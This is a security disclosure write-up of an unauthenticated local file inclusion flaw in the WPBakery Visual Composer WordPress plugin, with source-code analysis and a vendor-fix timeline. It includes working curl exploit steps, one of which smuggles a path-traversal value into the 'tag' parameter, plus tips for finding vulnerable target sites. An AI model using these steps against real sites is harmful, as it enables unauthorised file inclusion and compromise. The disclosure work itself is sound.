The Visual Composer by WpBakery is the best-selling item on CodeCanyon currently.
It has a truly massive code base both in PHP and in JavaScript. It is definitely worth having a look at it in terms of security issues.

wp_ajax

I usually start looking at the wp_ajax hooks, because you can find all sorts of things, and you don't have to mess around with a lot of HTML / JS content in the admin area.

After doing a quick search for wp_ajax_nopriv, I got 2 results

add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array(  
    &$this,
    'getGridDataForAjax',
) );

AND

add_action( 'wp_ajax_nopriv_vc_check_license_key', array(  
    vc_license(),
    'checkLicenseKeyFromRemote',
) );

The second one did not seem interesting, because I saw a lot of similarly named functions, but the first one sounded promising.

On line 209 /js_composer/include/autoload/hook-vc-grid.php we can find the function definition for the getGridDataForAjax function

public function getGridDataForAjax() {  
    $tag = vc_request_param( 'tag' );
    $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag );
    if ( $allowed ) {
        $shortcode_fishbone = visual_composer()->getShortCode( $tag );
        if ( is_object( $shortcode_fishbone ) ) {
            /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */
            $vc_grid = $shortcode_fishbone->shortcodeClass();
            if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) {
                echo $vc_grid->renderAjax( vc_request_param( 'data' ) );
                die();
            }
        }
    }
}

Let's see what we have here: It takes a parameter named tag from user, verifies a WP Nonce, and if it's allowed then it does its magic.

Down the rabbit hole

$shortcode_fishbone = visual_composer()->getShortCode( $tag );

public function getShortCode( $tag ) {  
        return Vc_Shortcodes_Manager::getInstance()->setTag( $tag );
    }

So the getShortCode is more like a setter, in /js_composer/include/classes/core/class-vc-base.php line 297. The other call to $shortcode_fishbone->shortcodeClass() takes us to /js_composer/include/classes/shortcodes/shortcodes.php and it is a call to

public function getShortCode( $tag ) {  
    return Vc_Shortcodes_Manager::getInstance()->setTag( $tag );
}

The getElementClass function gets called with the parameter $this->tag, this value was set before using the getShortCode method of the visual_composer, so we can manipulate this parameter, because it has a user supplied value.

getElemetClass

public function getElementClass( $tag ) {  
    if ( isset( $this->shortcode_classes[ $tag ] ) ) {
        return $this->shortcode_classes[ $tag ];
    }
    $settings = WPBMap::getShortCode( $tag );
    require_once vc_path_dir( 'SHORTCODES_DIR', 'wordpress-widgets.php' );

    $class_name = ! empty( $settings['php_class_name'] ) ? $settings['php_class_name'] : 'WPBakeryShortCode_' . $tag;

    $autoloaded_dependencies = VcShortcodeAutoloader::getInstance()->includeClass( $class_name );

    if ( ! $autoloaded_dependencies ) {
        $file = vc_path_dir( 'SHORTCODES_DIR', str_replace( '_', '-', $tag ) . '.php' );
        if ( is_file( $file ) ) {
            require_once( $file );
        }
    }

    if ( class_exists( $class_name ) && is_subclass_of( $class_name, 'WPBakeryShortCode' ) ) {
        $shortcode_class = new $class_name( $settings );
    } else {
        $shortcode_class = new WPBakeryShortCodeFishBones( $settings );
    }
    $this->shortcode_classes[ $tag ] = $shortcode_class;

    return $shortcode_class;
}

What we need is to arrive at the require_once( $file ); part and we would have a PHP include vulnerability. It turns out it is really hard not to get there, all we need to do is to not use a tag which is in $this->shortcode_classes or prefixing with WPBakeryShortCode_ shouldn't give a valid class name.

PHP File include

So we could now include a file which ends in .php and does not have _ underscore in its path, by calling the vc_get_vc_grid_data ajax endpoint with the tag post parameter.

The catches

The problem is that there is nonce check before all this, remember the

$allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag );

part.

So we need somehow to get a valid nonce in order to be able to include almost any PHP file.

function vc_verify_public_nonce( $nonce = '' ) {  
    return (bool) vc_verify_nonce( ( ! empty( $nonce ) ? $nonce : vc_request_param( '_vcnonce' ) ), 'vc-public-nonce' );
}
[...]
function vc_verify_nonce( $nonce, $data ) {  
    return (bool) wp_verify_nonce( $nonce, ( is_array( $data ) ? ( 'vc-nonce-' . implode( '|', $data ) ) : ( 'vc-nonce-' . $data ) ) );
}

Long story short, we need to be able to produce a valid vc-public-nonce nonce.

Unlike the name suggests, there is only one place where those nonces are generated:
/js_composer/include/templates/shortcodes/vc_basic_grid.php at line 48.

<div class="<?php echo esc_attr( $css_class ) ?>" data-initial-loading-animation="<?php echo esc_attr( $animation );?>" data-vc-<?php echo esc_attr( $this->pagable_type ); ?>-settings="<?php echo esc_attr( json_encode( $this->grid_settings ) ); ?>" data-vc-request="<?php echo esc_attr( apply_filters( 'vc_grid_request_url', admin_url( 'admin-ajax.php' ) ) ); ?>" data-vc-post-id="<?php echo esc_attr( get_the_ID() ); ?>" data-vc-public-nonce="<?php echo vc_generate_nonce( 'vc-public-nonce' ); ?>">  

Searching for the file name vc_basic_grid.php does not return any results, but for grid.php it does: /js_composer/vc_classmap.json.php

"wpbakeryshortcode_vc_basic_grid":["include\/classes\/shortcodes\/paginator\/class-vc-pageable.php","include\/classes\/shortcodes\/vc-basic-grid.php"]

It seems that it is loaded automatically when needed. Searching for WPBakeryShortCode_VC_Basic_Grid does produce some results.

if ( 'vc_edit_form' === vc_post_param( 'action' ) ) {  
    VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' );

This code is located in '/js_composer/include/autoload/hook-vc-grid.php' this means that it is only loaded when a 'grid' of some sorts is involved.

Results

If there is a post or a page which uses one of the following elements: vc_basic_grid, vc_masonry_grid, vc_media_grid, vc_masonry_media_grid then we can create a valid public nonce by simply posting the action parameter with the value vc_edit_form. When we get the nonce we can use to include a PHP file on the server which does not have an underscore in its name.

Impact 8/10

It is the most widely used WordPress plugin, and it is bundled in with a lot of Themes.

In shared hosting environments it is trivial to exploit, because the attacker has access to the '/tmp' partition usually.

Because it is bundled in with a lot of themes, it opens up the possibility of attacking the themes.

You don't need to be authenticated on the WordPress page in order to exploit this issue. However if the attacked has "Conrib" roles it can trigger the nonce generation by previewing a post with the content [vc_basic_grid]Test[/vc_basic_grid]

You can use services like NeryData to look up domains which have html code for Virtual Composer grids e.g

vc_grid start

vc_basic_grid

vc_media_grid

Also, given a website you can search for grid usages using its search function like:

http://127.0.0.1/?s=vc_basic_grid  
http://127.0.0.1/?s=vc_media_grid  
http://127.0.0.1/?s=vc_masonry_grid  
http://127.0.0.1/?s=vc_masonry_media_grid

This will give you a list of all the posts and pages which the grid short codes.

The exploit using curl

Step 1, get a public nonce

$ curl 'http://127.0.0.1/[post_with_grid_url]' --data 'action=vc_edit_form' --silent | egrep -oh 'data-vc-public-nonce="([^"]+)"' 

Step 2, include a local file using the obtained token.

$ curl 'http://127.0.0.1/wp-admin/admin-ajax.php' --data 'action=vc_get_vc_grid_data&_vcnonce=02b1717a61&tag=/../../../include/templates/editors/partials/backend-shortcodes-tempates.tpl' 

This should produce a big output, you will also receive a admin nonce:

vc_settings_presets = [],  
vc_roles = [], // @todo fix_roles check BC  
vc_frontend_enabled = false,  
vc_mode = 'admin_page',  
vcAdminNonce = '27be636523';

Timeline

27 - 03 - 2017 - Vulnerability found  
27 - 03 - 2017 - Vendor notified  
04 - 04 - 2017 - Vendor fixed the issue "5.1.1 Added: extra security check for grid ajax calls to harden security"  
18 - 04 - 2019 - Vulnerability goes public. (Low)